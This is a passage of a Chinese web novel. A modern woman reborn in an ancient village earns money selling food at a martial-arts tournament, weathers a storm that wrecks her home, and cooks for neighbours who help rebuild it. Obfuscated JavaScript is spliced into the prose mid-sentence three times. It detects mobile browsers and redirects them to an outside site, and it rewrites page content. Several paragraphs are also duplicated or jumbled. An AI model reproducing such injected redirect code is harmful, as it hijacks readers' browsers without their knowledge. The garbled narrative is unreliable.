白易接过饭盒，脸上满是惊喜，道谢后，也顾不上什么形象了，找了个角落坐下，大口吃了起来。刚把饭菜送入口中，他的眼睛瞬间亮了起来，不枉他丢下脸面来讨一口吃的，他的鼻子果然是最灵光的！ 一个时辰后，擂台上再次响起响亮的铜锣声，下午的比试即将开始。上午，各武馆纷纷派弟子上台参赛，一番激烈角逐后，有十五人成功晋级决赛。下午，这十六人将两两对决，争夺三甲名次。在晋级的十五人中，百胜武馆有两名弟子，擒虎武馆也有两人在其中，其中一个就是许之珩。 林窈几人收拾好擒虎武馆用过的餐具，今天的工作便完成了。下午得空了，便打算去看擂台赛。林窈在现代看过不少打戏，可古代这种实打实的拳脚较量，她还没亲眼看过。 来到擂台边，只见周围早已被里三层外三层的人群围得水泄不通。林窈几人费了好大一番力气，才勉强挤到一个能瞧见擂台的角落。此时，首场决赛已经开始，对阵双方分别是百胜武馆的弟子和江临城云腾武馆的弟子。百胜武馆的弟子身形高大魁梧，肌肉高高隆起，一上台便气势汹汹，猛地大喝一声，犹如一头愤怒的公牛，朝着对手直冲过去，一记重拳带着呼呼风声，直逼对方咽喉。而云腾武馆的弟子身形极为灵活，神色镇定，不慌不忙。只见他脚尖轻点地面，侧身一闪，便轻松避开了这凌厉一击，紧接着迅速出腿，如闪电般直踢对手腰侧。台下的观众瞬间沸腾起来，呐喊声、助威声交织在一起，震耳欲聋。 林窈看得目不转睛，眼睛紧紧盯着擂台，一刻也不敢眨。古代的比武，没有现代影视剧中那些特效加持，每一招每一式都是实打实的力量与技巧的比拼，比她想象中还要精彩刺激得多。身旁的林崧坐在刘大壮的肩头，激动得小脸通红，挥舞着小拳头，模仿着台上选手的动作。 就在这时，台上的局势发生了变化。百胜武馆的弟子被对手连续巧妙地避开攻击，渐渐恼羞成怒，攻势愈发猛烈，可破绽也随之逐渐显露出来。云腾武馆的弟子瞅准时机，一个箭步冲上前去，双手如鹰爪般迅速探出，抓住对手的手臂，猛地一扭，同时脚下一勾。百胜武馆的弟子顿时重心不稳，重重地摔倒在地。台下瞬间爆发出一阵热烈的欢呼声。 林窈看着这一幕，忍不住龇牙咧嘴，光想想都觉得疼。正想着，下一场比赛的选手已经上台，其中一人正是许之珩。与此同时，擒虎武馆响亮的口号声骤然响起：“擒虎扬威，赛场称雄！”这口号声震耳欲聋，仿佛要将人的耳鼓震破，却也将现场的气氛烘托得愈发炽热。 许之珩身着一袭黑色劲装，头上的红发带随风肆意飘扬，身姿挺拔，昂首阔步地走上擂台，带着少年人初生牛犊不怕虎的嚣张。与他对阵的，是瑞广武馆的一位高手。此人身形精瘦，眼神中透着一股凶狠劲儿。两人相互抱拳行礼，动作干净利落，随后迅速拉开架势。 瑞广武馆弟子率先发难，只见他身形一闪，右拳高高扬起，裹挟着呼呼风声，直击许之珩面门。这一拳来得迅猛异常，周围的观众见状，纷纷倒吸一口凉气，心都提到了嗓子眼。然而许之珩却镇定自若，就在对方拳头即将击中自己的瞬间，他微微侧身，轻松避开了这凌厉一击，同时左手迅速探出，死死扣住对手的手腕，紧接着猛地发力一甩。瑞广武馆的弟子顿时身形失控，踉跄着朝一旁跌了出去。 瑞广武馆的弟子稳住身形，脸上闪过恼怒。他再次朝着许之珩扑了过去。这一次，他的攻势更加凌厉，拳脚并用，招招致命。许之珩沉着应对，脚步灵活地在擂台上辗转腾挪，每一次出手都恰到好处，不仅化解了对手的攻击，还时不时寻机反击。两人你来我往，一时间打得难解难分，擂台之上，拳风呼啸，腿影翻飞。 台下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276766|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观众爆发出阵阵惊呼，林窈也不禁瞪大了眼睛，赞叹道：“许公子这身手，真是深藏不露！”可话还没说完，许之珩就被瑞广武馆弟子一记迅猛的扫堂腿突袭，来不及做出反应，整个人失去平衡，重重地摔倒在地，台下瞬间一片哗然。 瑞广武馆弟子见许之珩倒地，眼中满是得意，趁着这间隙，他加速上前，高高跃起，曲起手肘，朝着许之珩的胸口就要砸下。这一招若是结结实实地命中，许之珩必定重伤。 林窈下意识地捂住了嘴，按照擂台赛的规矩，倒下者即为败，既然已经落败，对方就不应该再继续攻击。 许之珩躺在地上，强忍着摔落带来的疼痛，双手撑地，以一个狼狈且拧巴的角度迅速侧身翻转，惊险地躲过了这一击。这人是想要他的命吗？就在这时，监较赶忙跑上场，拦住了瑞广武馆的弟子，高声宣布：“擒虎武馆败！瑞广武馆胜！” 瑞广武馆的弟子这才停下攻击，脸上满是不甘，双手抱拳，转身下台。众人都只当是年轻人比武时热血上头，一时忘了规矩，可只有许之珩心里清楚，这人分明就是冲着废掉他来的。 许之珩下了擂台，吕大志和一众弟子立刻围了上来，眼中满是关切与焦急。“阿珩，你怎么样？那瘪三，眼里还有没有规矩了！”吕大志气得满脸通红，拳头捏得咯咯作响。许之珩摆了摆手，喘了几口粗气，“我没事，不过是一场擂台赛罢了，技不如人，输了便输了。” 休息了一盏茶的时间，擂台上又走下来一人。许之珩看到那张明显肿起来的脸，没忍住哈哈大笑起来：“哟，这不是百胜武馆的张鑫吗？张大公子怎么这么不小心，要是破了相，以后可就讨不到媳妇咯！”说完，还臭屁地拍了拍自己的脸。许之珩虽不是时下主流审美的清俊美男，但却是别有一番潇洒不羁的气质，浓眉大眼，五官深邃，长得张扬且热烈，是一个存在感极强的浓颜系硬汉。 许之珩这一笑，更是让张鑫恼羞成怒，脸上一阵青一阵红，那肿起的脸颊愈发显得滑稽可笑。张鑫本就长相平庸，最恨别人拿他的长相说事，当下气得不行。可一张嘴，脸上的伤口就被牵扯得生疼，半天也只说了一句，“你不也输了！”。许之珩瞧着快要把人惹急了，也知道适可而止，做了个鬼脸，便跟在吕大志身后准备打道回府。 林窈几人在许之珩下擂台之后就跟了过去。刚才许之珩和张鑫那幼稚的举动，都被他们看在眼里，几人心思各异。林窈一直觉得许之珩是个心思复杂的人，虽说他看着也就十五六岁的模样，但在这个人均早熟的古代，林窈可不会真把他当成小孩子。不管是之前多次在危急时刻救她，还是与她合伙做生意时展现出的谋划能力，都远比她这个二十多岁的现代人要成熟得多。可此刻，看着眼前这个与张鑫拌嘴的少年，林窈只觉得他就是个还没长大的孩子，既有少年的意气风发，又有少年的顽皮淘气。 41. 暴雨 奔波了一整日，回到家的时候，林窈回到家时，浑身的骨头像散了架，累得恨不得直接瘫倒在地，狠狠睡上一觉。但毕竟走了一个时辰的路，她现在饿得前胸贴后背。幸好她在出门前腌制了排骨，林窈从椅子上爬起来，正准备往灶房去，林诚连忙叫住了她，“阿窈，你歇着就行，今儿你辛苦了，我来做饭。” 林窈听林诚这么说，疲惫的脸上露出一丝笑容，“行，灶房里有提前腌制好的排骨，阿兄炸熟便可。”说罢，她又坐回椅子上，放松下来的身体仿佛每一根骨头都散了架，眼睛不自觉地半眯起来，思绪也跟着飘远。 今日在擂台边售卖吃食，进账颇为可观，可身体的疲惫也是实实在在的。许之珩之前给的五两定金，买食材花去三两，还剩二两。二十八人的饭菜，不算许之珩和金玉那份，一共三百三十八文，猪骨汤算二十文，总共三百五十八文。扣除这些，她把一两六百四十二文钱还给了许之珩。不过，吕大志做主，代表擒虎武馆给了他们二两银子赏银。再加上小食摊卖出吃食的钱，今天一天就挣了二两五百九十八文！林窈在心里这么一盘算，顿时觉得这点辛苦也不算什么了。 “想什么呢？这么高兴？”蒜香排骨做法简单，林诚只花了一盏茶的工夫，就把排骨炸好了。他将排骨端到桌上，示意林窈和林崧可以开吃。自从拜师那日，林诚把灶房的桌子搬到院子里后，林窈便觉得在院子里吃饭比窝在灶房里舒坦多了，打那以后，这桌子就再没搬回去过。 林窈打开放在一旁的甑，往外盛饭，“阿兄猜猜咱们今天一天挣了多少钱？” “一两？”林诚猜道。 林窈也不打算卖关子，直接说道：“是二两五百九十八文！”尽管这两个月来，林诚已经渐渐习惯了妹妹赚钱的本事，可乍一听这个数目，还是吃了一惊，脱口而出：“这么多？！” 林窈笑得眼睛眯成了缝，可咬了一口蒜香排骨后，笑容便僵住了。这排骨炸得太老，里头的汁水都被榨干了，吃起来口感又干又硬。但她没吭声，就着米饭，嚼巴嚼巴咽了下去。只是心里暗自想着，以后叫阿鱼帮忙的时候，也得把林诚带上，不会带团体就只能自己干到死。 ~ 半夜，林窈在睡梦中瞧见一地的铜钱，她满心欢喜地蹲在地上捡钱。突然，一股水流涌来，铜钱顺着水流飘走。她心急如焚，拼命伸手去捞，却没捞上几个。猛地一下，她从梦中惊醒，才发觉是一场梦。 林窈坐起身，只听见头顶上雨声噼里啪啦下个不停。她抬手抹了把脸，抬头一看，屋顶竟空了一大块。屋外狂风暴雨肆虐，茅草屋的屋顶被掀飞了一部分。床上的被褥大半已被雨水浸湿，地上也积起了浅浅的水洼。 林窈顾不上许多，赶忙披上衣服走到门外。正巧，林诚穿着蓑衣朝她这边走来，“阿窈，你没事儿吧？我屋顶的茅草都被吹飞了。”说着，林崧从林诚怀里探出脑袋。林窈伸手摸了摸他的小手，冰凉冰凉的。“我这儿屋顶也漏了，我收拾收拾，今晚就在灶房凑合一晚吧。” 林诚望着林窈身后一片狼藉，雨水还在不断从缺口处灌进来，应道：“好，不过也不知道这灶房能不能扛住，这雨下得太大了。”狂风呼啸而过，吹得他们站立不稳，林崧吓得往林诚怀里又缩了缩。 “灶房虽说也是竹木草皮搭的，可多到底用了些竹子，比咱俩的屋子要结实。”林窈说完，转身回到屋内，把银钱和衣裳收拾好，塞到林诚怀里，让林崧抱着。她穿上蓑衣，将湿了一角的被褥叠好，藏进蓑衣里。 灶房里弥漫着一股潮湿的气息，墙角已经开始有积水蔓延。林窈把被子铺在还算干燥的地上，又和林诚一起，将灶房里的柴火尽量往高处堆，生怕被水浸湿。林诚在灶膛里生起火，木柴燃烧的声响被屋外的电闪雷鸣盖过，橘红色的火苗在灶膛里跳跃着，驱散了些许寒意。林窈拿出刚刚打包好的衣裳，给林崧套了两层外衣。如今正值初秋，一场秋雨一场寒，要是着了风寒可就麻烦了。 安置好一切，三人坐在灶房的角落里，紧紧靠在一起取暖。林窈听着外面狂风暴雨的声音，心中盘算着接下来该怎么办。屋顶的修缮迫在眉睫，可购置材料需要不少钱，他们好不容易攒下的几两银子，原本计划用来扩大生意，如今看来，只能先挪作他用了。林窈用肩膀碰了碰林诚，“阿兄，咱们得赶紧把屋顶修好，不然这屋子没法住人，生意也做不了。”林诚点头，应道：“行，这屋子早该修修了。” 一夜暴雨过后，天光穿透厚重的云层，洒落在地上。林窈被光亮晃醒，率先起身，推开灶房的门，一股潮湿的气息扑面而来。她和林诚的屋子因昨晚漏雨，一片狼藉，杂物散落一地。好在因为家贫，家里本就没多少东西，她穿越过来后一门心思扑在赚钱上，还没来得及添置物件，这倒也算“断舍离”了。当然，这也称不上什么幸运。所幸她把原主的衣服留了下来，过几日盂兰节，好给原主立个衣冠冢。林窈又转到屋后查看，后院种的韭菜和野葱也被暴雨打得东倒西歪，此刻都蔫巴巴地躺在泥水中。 “阿窈，诚哥儿！”林窈和林诚正在收拾家里的残局，门外传来梁氏的声音。林窈赶忙放下手里的笤帚，“来了！” 梁氏一进门，就看到院子里的一片狼藉，惊呼道：“我的天爷哟，这雨可把你们家折腾惨了！你们兄妹俩怎样，没事儿吧？” 林窈摇了摇头，“嫂子，我们都没事儿，就是这屋子暂时住不了人。” 梁氏走进屋内，瞧着那漏雨的屋顶和满地的积水，连连摇头，“这屋得赶紧修，天说变就变，万一再来场雨，就是铁打的身子也扛不住。” 刘大壮抱着刘大宝跟在梁氏身后，听她这么说，也点头赞同：“是哩，你们这几间小屋子早该修了，以前没钱没办法，如今日子越过越好，这屋子也得拾掇起来了。” “我和阿兄正有这个打算，只是不知道修缮屋子得花多少工钱？”林窈对工钱心里没底，怕给少了，房子修得不牢固，再来场天灾暴雨，房子又得塌了。 梁氏替刘大宝擦了擦脸，大宝到了长牙的年纪，总是忍不住流口水梁氏边给刘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292827|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大宝擦脸，边说：“村里修房子，都是邻里之间搭把手的事儿，管顿饭就行，不用给工钱。” 刘大壮也接着说：“等收拾好东西，阿城就跟我到各家去问问，看谁能来帮忙上工。这几天你们就住我家，阿窈跟你嫂子住，阿诚和崧儿跟我住。” 几人收拾好东西，正要往外走，就看见刘旭正准备敲门，“阿窈妹妹！阿诚！昨天下了大暴雨，我娘喊我来瞧瞧你们可好。” “我们都好，就是家里屋子得修缮了，我们正打算去各家问问，这几天谁能来帮忙修房子呢。”林窈侧了侧身，好让刘旭看到家里的情况。 刘旭往院子里看了一眼，忙说：“算我一个！我也来给你们修房子！” 刘大壮带着林诚就要去请人，林窈原本就打算提前去镇上买食材，顺便再购置些衣裳被褥。只是她要是一个人去，林诚肯定不放心，所以一直没提这事。现在正巧刘旭来了，林窈提议：“阿旭哥，你陪我去镇上买点食材吧，明天就要动工了，我得提前把饭菜准备好。” 刘旭爽快地应下：“行嘞，咱这就走。”两人套好驴车往镇上去了。 大雨对清泉镇没什么影响，只是在空气中平添了几分湿润。林窈一到镇上，就直奔猪肉摊子。明天是动工第一天，她打算做些硬菜，让大家吃得满意，干活更有劲儿。林窈买了一大块五花肉，又买了两斤猪板油，接着去了鸡市，买了三只鸡。 买完菜，才到今天出门的目的，买衣服！ 林窈今天最重要的事，就是置办新的衣裳被褥。她来到一家成衣铺前，店铺门脸不大，却收拾得干干净净。门口两侧的木架上，挂着几件样式新颖的成衣，在微风中轻轻晃动。店内弥漫着一股淡淡的樟木香气，一排排木架上整齐地摆放着各式衣裳，从粗布麻衣到精致绸缎，应有尽有。角落里，叠放着几床崭新的被褥，花色各异，绣工精细。林窈和刘旭一进门，一位身着蓝色长衫的中年掌柜满脸热情地迎了上来，“娘子，您看看想买点啥？我们这儿衣裳款式多，料子也好，被褥更是保暖又舒适。” 林窈说道。林窈瞧了瞧自己身上补丁摞补丁的粗布麻衣，这身衣服也该“退休”了。她抬手指向一件月白色的交领长褙子，袖口与衣襟处绣着浅粉色的梅花图案，腰间搭配一条淡蓝色的绸带，显得清新又雅致，极为适合秋冬时节叠穿，“掌柜的，麻烦把这件拿给我试试。” 掌柜连忙取下衣服，双手递到林窈面前，笑着介绍：“娘子好眼光，这月白色可是今秋最时兴的颜色，衬得姑娘肤色白皙。这梅花绣工更是精细，一针一线都是我们店里手艺最好的绣娘绣的。这长褙子长度正合适，里面搭件中衣，再配条厚实点的裙子，冬日里也能保暖。” 果然，无论哪个朝代，推销人员的嘴都是骗人的鬼。原主在祖屋时，忍饥挨饿还做牛做马，面黄肌瘦。她穿越过来后，虽吃得好了，但是日日出摊，早就晒得黑不溜秋了，怎么衬都不会白的。不过，她也看得出原主底子很好，等赚钱了，好好养养皮肤，日后肯定是个出挑的大美人。 42. 韭菜盒子 刘旭看着林窈手里细腻的料子，不禁想起自己阿娘，她操劳一生，都未曾穿过绸缎做的衣裳，一时更是艳羡。 林窈拿着衣裳对着镜子左右比划，看着合身极了，月白色的料子将她的脸色衬得柔和许多，衣裳上的梅花图案更是增添了几分灵动。这身衣裳，简直完美契合了林窈心中的古装梦，这才是她想象中古代少女该有的穿着。林窈当下便决定买下，毕竟赚钱不就是为了让日子过得舒坦些吗？要是连件衣裳都舍不得买，那赚钱还有什么意义？不过，林窈心里也清楚得适度消费，所以只挑了这一件看着上档次的衣裳。 接着她又走向一旁粗布制的衣裳，绸缎做的衣裳好看是好看，可做工的时候穿着，实在是糟蹋。林窈在一排深蓝色的粗布衣裳里，挑中了一件样式简洁的直领对襟短衫。这件短衫虽说没有精致的绣工，但胜在布料厚实。她又在镜子前比了比，衣服偏大，正适合她这种还在长身体的半大孩子。 给自己选好了两套衣裳，林窈便开始为林诚和林崧挑选合适的衣物。一番挑选后，她给他们一人买了两件厚实的衣裳，也是按照自己的搭配方式，各买了一套面料精细的和一套粗布的。 这时，林窈的目光被角落里一件深绯色的织锦夹袄吸引住了。这件夹袄用厚实的锦缎制成，上面绣着繁复的缠枝莲纹，领口和袖口处镶着一圈柔软的兔毛，既保暖又不失华丽。林窈走上前，轻轻抚摸着面料，眼中满是喜爱，问道：“掌柜的，这件夹袄怎么卖？” 掌柜连忙迎过来，热情地介绍道：“娘子，这件夹袄可是我们店里的精品，锦缎是从苏杭运来的上等料子，绣工更是精细无比。价格嘛，自然要高些，一两银子。”林窈一听，赶忙把手缩了回来，摸不起，摸不起，她的手上都是茧子，要是摸坏了，那可就是一两银子的事儿了。她又挑了两床款式简单却十分厚实的被褥，这样入秋过冬就不用愁了。结账的时候，林窈只觉得肉疼，两床被褥加上六套成衣，花了她一两三百钱。 刘旭看着林窈这一上午，眼睛都不眨一下就花出去一两多钱，这可是他和娘亲忙活一年都挣不来的……小厮把被褥放到刘旭手里的时候，他还没回过神来，被吓了一跳。 林窈拎着一包衣服问他：“阿旭哥，是不是累了？”林窈觉得自己也没逛多久，毕竟她在一家店里就把所需的衣物都买齐了。 刘旭赶忙把脑子里的想法抛到一边，摇了摇头说：“没有没有，一会儿还去买什么？” 林窈看了看驴车上满满的战利品，心满意足地拍了拍手：“都买好了，回村吧。” ~ 刘大壮家。 林诚看到妹妹拎着几大包东西，叮铃哐啷地走进门时，一时语塞。林崧抢在他前面，跑到林窈面前问：“二姐买了什么？有糖人吗？” 林窈把大包小包递给了林诚，甩了甩发酸的手，点了点林崧的鼻子说：“没有糖人。”小家伙一听，顿时蔫了下去。“但是二姐给崧儿买了新衣裳！”说着，林窈就从包裹里取出两套衣裳。 林崧一听有新衣裳，两眼亮晶晶的，就像她以前在孤儿院外看到的那只小奶猫，眼睛水润润，圆溜溜的的。林崧兴奋地跳着接过林窈手中的衣裳，迫不及待地往身上比划：“二姐，这衣服真好看！”他举着那件绣着小虎图案的袄子，转了好几个圈，笑得眼睛都眯成了缝。 林窈看着他这模样，忍不住笑出声来：“崧儿喜欢就好，快穿上让二姐瞧瞧合不合身。”林崧麻溜地换上新衣，大小正合适，那小虎图案正好在肚子上，被林崧圆鼓鼓的小肚子撑得鼓了起来，衬得他愈发圆润可爱。没错，经过林窈两个月的投喂，林崧开始朝着圆润的方向发展了，如今看着就像年画上的娃娃，十分讨喜。 “阿兄，你也有。”林窈从包袱里拿出两套成衣，递到林诚手里。林诚接过衣服，没有立刻试穿：“阿窈，你的呢？” 林窈重新把包袱包好，说道：“我的在成衣铺就比划过了，你们快试试，不合适也好拿回去换。” 林诚这才缓缓展开手中的衣裳，一件是灰色的粗布衣裳，一件是深蓝色的直裰。面料虽不是什么名贵料子，但质地厚实，做工精细，针脚细密均匀。他穿上身，对着镜子左右打量，大小正合身，穿上后整个人显得精神又干练。 林窈在一旁看着，眼中满是笑意，“阿兄穿上可真好看，这颜色衬得你愈发沉稳了。” 刘旭也在一旁点头夸赞道：“阿诚这衣裳一上身，整个人都精神了，瞧着像镇上的读书人！” 林诚微微有些不好意思，挠了挠头，“是阿窈的眼光好。” 送走刘旭，林窈开始炼猪油。两大块猪板油，炼出了两大罐猪油和一大盆猪油渣。林窈拈起一块猪油渣，吹了吹，便扔进自己嘴里。新鲜出炉的猪油渣带着浓郁的油香，嚼起来嘎嘣脆。她又拈起一块，吹了吹，塞到了林崧嘴里，这小孩从她开始炼猪油就一直眼巴巴盯着：“慢些吃，大馋小子。 炼好的猪油晾凉后，林窈便着手准备制作韭菜盒子。她从菜篮里取出在刘大壮家后院摘的韭菜，仔细清洗干净。接着，把炼好的猪油渣倒在案板上，用刀细细地剁碎。剁碎的猪油渣碎末散发着浓郁的油脂香气，引得林崧在一旁不停地咽口水，小眼睛紧紧盯着案板，一刻也舍不得移开。林窈瞧在眼里，又好气又好笑，使唤他：“崧儿，你去把阿兄叫来，咱们一起做韭菜盒子。”林崧应了一声，一步三回头地去找林诚。 林窈把剁好的猪油渣放入盆中，又将沥好水的韭菜切成小段放了进去。接着，她往盆里加入一撮盐、一小勺五香粉、少许香油，开始用筷子搅拌馅料。随着筷子的翻动，韭菜与猪油渣充分混合，香气愈发浓郁，哪怕还没煮熟，就已经让人食指大动。 林窈拿出面粉，倒入温水，开始和面。她的双手在面粉与水中熟练地翻搅，不一会儿，原本松散的面粉就变成了一个光滑的面团。她把面团放在案板上，盖上湿布，让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303949|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面团醒一会儿。醒面的间隙，林窈提前把明天要用到的鸡切成块，三只鸡切了满满一大盆肉。 林诚跟着林崧走进厨房时，面团也醒好了，林窈将其搓成细长条，再切成一个个大小均匀的小剂子。她拿起一个小剂子，用擀面杖擀成中间厚、边缘薄的圆形面皮。林崧在一旁看得手痒痒，嚷着：“二姐，我也想帮忙。”林窈揪了一个小剂子放到林崧面前，说道：“一边玩去。” 面皮擀好后，林窈拿起一张面皮，放上一勺馅料，然后将面皮对折，用手指沿着边缘捏出漂亮的花边，一个韭菜盒子就包好了。林诚学着她的样子包了几个，一开始包得怪模怪样的，不是漏了馅就是根本合不上口子，连包了几个之后，终于找到了手感。 两盏茶的时间，两人包了一案板的韭菜盒子。林窈在锅里倒入猪油，等油热后，将韭菜盒子一个个放入锅中。韭菜盒子在锅里慢慢变成金黄色，翻面再煎一会儿，直到两面都变得金黄酥脆。林窈将煎好的韭菜盒子盛出，垒成了一座小山似的。 做完韭菜盒子，林窈又用猪油渣和鸡蛋炒了个饭。裹着蛋液的金黄米饭在锅里被林窈不断翻炒，逐渐变得颗粒分明。林窈把剩下的猪油渣都倒到了锅里，每一粒米饭都充分吸收了猪油渣的香气。鸡蛋炒饭本就是最简单的炒饭，但是加入了猪油渣后，口感和味道都更上一层楼。 刘大壮和梁氏从田间回来的时候，推开家门就闻到了灶房里传出的饭菜香。劳作了一天的两人本就饥肠辘辘，现在闻到这味道，更觉得腹中空空。梁氏一边解下头巾，一边笑着走进灶房：“阿窈，做了什么好吃的呢，这味儿我一进门就闻到了！” 林窈闻声转过头，“嫂子和大壮哥回来得正是时候，我做了韭菜盒子，还炒了猪油渣鸡蛋炒饭。” 刘大壮放下背篓，把熟睡的刘大宝放到床上后，也走进了灶房：“可把我俩给馋坏了，光闻着味儿，这肚子就咕咕叫了。”说着，他赶忙挽起袖子，在水盆把手里的泥巴洗掉。 林窈把韭菜盒子和炒饭端上桌，金黄酥脆的韭菜盒子在盘子上垒得满满当当，猪油渣鸡蛋炒饭粒粒分明，油光闪烁，热气腾腾地散发着诱人香气。等刘大壮夫妇动了筷，林崧立马夹了一个韭菜盒子到自己碗里，他早就等不及了。小手拿起一个韭菜盒子就往嘴里塞，腮帮子一鼓一鼓的，含糊不清地嘟囔着：“太好吃啦！” 梁氏看着林崧的馋样，忍不住笑出声来，说道：“崧儿，慢点儿吃，没人跟你抢。”说罢，她也拿起一个韭菜盒子，咬了一口，韭菜的清香与猪油渣的醇厚瞬间在口中散开：“阿窈，你这手艺真是没话说，这韭菜盒子怕是比镇上馆子做的还好吃。”刘大壮大口扒拉着炒饭，嘴里塞得满满的，抽空插了一嘴：“这炒饭也香得很！” 林窈见刘大壮夫妇喜欢，心里也轻松了许多。虽然原主和刘大壮一家相熟，但她一个外来的魂魄，总觉得借住在别人家里是麻烦别人了，只能做点饭菜报答一二。 43. 水煎脆皮五花 今日是动工的日子，天蒙蒙亮，林窈和林诚便来到自家院子。刘大壮和刘旭早早就到了，正在清理院子里的杂草。还有一个林窈不太熟悉的少年，身形略显矮胖，模样白白净净，透着股讨喜劲儿，正将刘大壮他们拔出的杂草小心翼翼地收进篓子里。 林诚见妹妹盯着那人瞧，解释道：“那是柳婶的大儿子，吴铜，今年十四，幼时发热烧坏了脑子，行事如三岁小儿，柳婶平日里都把他拘在家里，不让他乱跑。那日我去寻人帮忙修缮房子，恰巧碰见柳婶，柳婶说什么让我把阿铜带上，还说他干不了多少活，不占我们便宜，午食他回家吃，只需让他在这打打杂便可。”林诚留意到妹妹的目光一直停留在那少年身上，便轻声解释：“那是柳婶的大儿子，叫吴铜，今年十四岁了。小时候发高热，烧坏了脑子，行事就跟三岁孩童。柳婶平日里都把他拘在家里，生怕他乱跑惹出什么事。前几日我去找人帮忙修缮房子，正巧碰到柳婶，她非要我把阿铜带上，还说阿铜干不了多少重活，就在这儿帮忙打打下手，也不占咱们便宜，不用管阿铜的午食，叫他回家去吃。” 林窈听着林诚的讲述，心中明白他对柳三娘的做法有些不解。但她穿越前天天在网上冲浪，对特殊儿童的情况有所了解，也能理解柳三娘的良苦用心。柳三娘这么做，是期望能锻炼吴铜的社会交往能力，让他逐步尝试独立生活。平日里，柳三娘对他们兄妹三人也十分照顾，林德茂前来闹事那次，柳三娘还仗义执言。这份恩情，他们理应回报。 林窈点了点头，听到又有人来了，转身一瞧，是里正家的大儿子林有功还有隔壁张大爷家的张平和张安来了。 林窈对这个大堂哥还是有印象的，林有福欺负原主兄妹的时候，只要被张有功看到，他总会会帮他们出气。只是两家离得远，林有功也管不了别人的家里。每次林有功教训完林有福，那家伙反而会变本加厉地欺负他们。即便如此，三兄妹对这位堂哥仍是满心感激。林有功比林诚还大两岁，在他们这一辈中年纪最长。他身材高大魁梧，走进院子时，手里还提着一把崭新的锤子，高声喊道：“诚哥儿，a3窈妹子，我来啦！”那爽朗的声音瞬间打破了清晨的宁静。 林诚赶忙迎上前去，接过他手中的锤子，笑着说道：“大堂哥，你来得可真早，快歇会儿，喝口水。”林有功摆了摆手，“不歇了，这修房子的活儿要紧。”说着，他环顾了一圈院子，看到吴铜正专注地收着草，便开口问：“这是柳婶家的阿铜吧？”林诚点了点头。 林有功走到吴铜身边，拍了拍他的肩膀，笑着说：“阿铜，今天跟哥哥们一起好好干活，晚上请你吃甜糕。” 吴铜抬起头，眼睛亮晶晶的，露出一口大白牙，“好呀好呀，甜糕！” 众人简单分工后，便热火朝天地干了起来。 林有功和刘大壮经验丰富，主动承担起夯土墙的重任。他们先将提前准备好的木板立起，围成一个长方形的槽子，这便是土墙的雏形①。林诚和刘旭则负责搬运黄土，一担又一担，黄土被倾倒进槽子里，逐渐堆积起来。 林窈和吴铜也没闲着，林窈在一旁仔细地看着，不时给大家递上工具。吴铜跟在林窈旁边，帮忙整理着散落的木板和工具，忙前忙后，一刻不停歇。 林有功拿起石夯，这石夯足有几十斤重，普通人单手提起来都费劲，可在他手里却像是玩具一般。他高高举起石夯，然后重重地砸向槽子里的黄土，每一下都带着十足的力道，沉闷的夯土声在院子里回荡。刘大壮在一旁配合着，一边指挥黄土的倾倒位置，一边用锄头将黄土摊平，确保夯出来的土墙均匀结实。 忙活了大半天，林窈屋子的土墙砌好了一半，巳正时分，林窈往灶房去了，今天是动工的第一天，她希望自己能好好招待大家，也不枉他们放下田里的活计来帮他们建房子。 林窈从井中取出昨天切好的鸡肉。昨日，她将切好的鸡肉装在盆里，悬吊在井中保鲜，今日用时便只需再清洗一次即可。她先将鸡肉置于清水中，轻轻揉搓，让血水彻底渗出，直至水变得清澈，随后将鸡肉捞出，沥干水分。为了让鸡肉更加入味，林窈在鸡肉上撒上一层细盐、五香粉，接着又倒入些许料酒，仔细地将调料涂抹在每一块鸡肉上，让其充分吸收。 林窈将大把的青葱洗净，切成细长的葱段，一部分葱绿被她切成碎末备用。锅中的鸡肉已经煎至两面金黄，林窈将切好的葱段均匀地铺在鸡肉上，随后盖上锅盖，让葱香在锅内慢慢渗透进鸡肉里。 腌制片刻后，林窈在铁板中倒入适量的猪油，待油热，她将提前备好的葱段放到油中，炸出葱油，葱段开始焦黄时，她把鸡肉一块快放置在铁板上。林窈不时用锅铲轻轻翻动鸡肉，鸡肉的边缘逐渐变成诱人的金黄色，香气也越发浓郁。锅中的鸡肉已经煎至两面金黄，林窈将切好的葱花均匀地铺在鸡肉上，让葱香在进一步渗透进鸡肉里。最后，林窈将煎好的鸡肉盛出，码放在盘中。此时的香煎葱油鸡，外皮金黄酥脆，内里鲜嫩多汁，葱香与鸡肉香完美交融，让人看了就垂涎欲滴。 接着林窈开始做脆皮五花。前世，脆皮五花风靡大江南北，她曾出过好几期不同的制作方法，其中一种便是今天要做的水煎脆皮五花。 